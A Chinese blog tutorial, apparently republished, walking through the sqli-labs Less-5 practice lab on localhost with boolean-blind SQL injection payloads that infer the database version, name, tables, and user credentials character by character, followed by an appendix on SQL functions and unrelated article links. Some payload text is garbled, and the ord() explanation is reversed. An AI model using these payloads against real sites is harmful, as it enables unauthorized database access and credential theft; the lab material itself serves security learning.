sqli-labs-master第五关Less-5 Double Query- Single:方式一

简介:

由于第三四关和第一第二关大致相同,我就不写了。


接下来来写第五关的第一种方式。




1,目标网站:



http://127.0.0.1/sqli-labs-master/Less-5/?id=1


当传递的ID为1的时候提示“you are in”


1.png


2,查找注入点:  

http://127.0.0.1/sqli-labs-master/Less-5/?id=1返回错误


当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。


2.png


说明把“1’”带入数据库查询了,所以存在注入点


3,查看版本信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

返回正常

3.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23


返回错误 所以数据库版本是5.0

4.png



4,判断数据库长度:


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

返回错误

5.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

返回正确

6.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

返回错误

所以数据库的名称是8位构成

7.png


5,猜测数据库名称(从第一位开始猜):

1>猜第1

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23

返回错误

说明第一位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23

返回正确

所以第一位是s

 

1>猜第2

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23

返回正常


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23

返回错误

说明第二位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23

返回正确

所以第二位是e

以此类推,直到推出第8位:最后数据库为security


6,猜测数据库(security)中的表:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n

说明:

a是从0开始第几个表,b是为第几个字符,nASCII所对应的十进制数



7,猜用户:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from S. Morder by  id  limit A,1),B,1))=%23

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

8.猜用户和密码:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23 

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23



附录:


substr()用于字符串加减


ord()将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98; 


mid() :字符串截取函数


语法: mid(字符串,指定截取位数,截取N个)


示例


B6=123456789abcdef      =mid(B6,1,13)    结果= 123456789abcd    





IFNULL(expr1,expr2)  


如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。



cast()函数:


参考博客:http://www.studyofnet.com/news/109.html


(1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:



SELECT CAST('12' AS int)



(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值,又会出现什么情况呢?



SELECT CAST('12.5' AS int) 



(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示,所以对这个函数调用将产生一个错误:


微信公众号



1.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2062354


相关文章
|
2月前
Due to limitations of the com.mongodb.BasicDocument, you can‘t add a second ‘_id‘ criteria. Query al
Due to limitations of the com.mongodb.BasicDocument, you can‘t add a second ‘_id‘ criteria. Query al
52 2
|
6月前
|
关系型数据库 MySQL 数据库
连接MySQL时报错:Public Key Retrieval is not allowed的解决方法
连接MySQL时报错:Public Key Retrieval is not allowed的解决方法
173 1
|
5月前
|
数据库
Greenplum【异常 03】COPY命令报错 > ERROR: invalid input syntax for type double precision: ““(问题分析及解决方案)数据去重
Greenplum【异常 03】COPY命令报错 > ERROR: invalid input syntax for type double precision: ““(问题分析及解决方案)数据去重
74 0
|
Shell 开发工具 git
Git使用commit命令时报错“bad numeric config value ‘ture‘ for ‘color.ui‘: invalid unit”(已解决)
Git使用commit命令时报错“bad numeric config value ‘ture‘ for ‘color.ui‘: invalid unit”(已解决)
186 0
Git使用commit命令时报错“bad numeric config value ‘ture‘ for ‘color.ui‘: invalid unit”(已解决)
cdo 合并nc文件时,报错:Error(cdf_put_vara_double):NetCDF:Numeric conversion not representable
cdo 合并nc文件时,报错:Error(cdf_put_vara_double):NetCDF:Numeric conversion not representable
|
SQL 关系型数据库 MySQL
记一次线上问题 → 对 MySQL 的 ON UPDATE CURRENT_TIMESTAMP 的片面认知
问题背景 需求背景 需求:对商品的上架与下架进行管控,下架的商品不能进行销售 上架与下架的管控,在我负责的项目(单据系统)中实现;销售的控制则是在另外一个项目(POS系统)中实现的 POS 系统定时地从单据系统中拉取数据,并对商品的销售进行控制 单据系统设计了两张表:
|
关系型数据库 MySQL
《Three steps to clustering your MySQL Environment--MNC、MGC与MIC》电子版地址
Three steps to clustering your MySQL Environment--MNC、MGC与MIC
59 0
《Three steps to clustering your MySQL Environment--MNC、MGC与MIC》电子版地址
|
关系型数据库 MySQL Go
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。错误显示及解决办法。
idea连接mysql数据库遇到Server returns invalid timezone. Go to ‘Advanced‘ tab and set ‘serverTimezone‘ 。。。。。
|
SQL 关系型数据库 MySQL
Influx Sql系列教程四:series/point/tag/field
influxdb中的一条记录point,主要可以分为三类,必须存在的time(时间),string类型的tag,以及其他成员field;而series则是一个measurement中保存策略和tag集构成;
310 0
SAP QM 执行事务代码QA11 报错- Selected set code does not exist, or data entered is incomplete-
SAP QM 执行事务代码QA11 报错- Selected set code does not exist, or data entered is incomplete-
SAP QM 执行事务代码QA11 报错- Selected set code does not exist, or data entered is incomplete-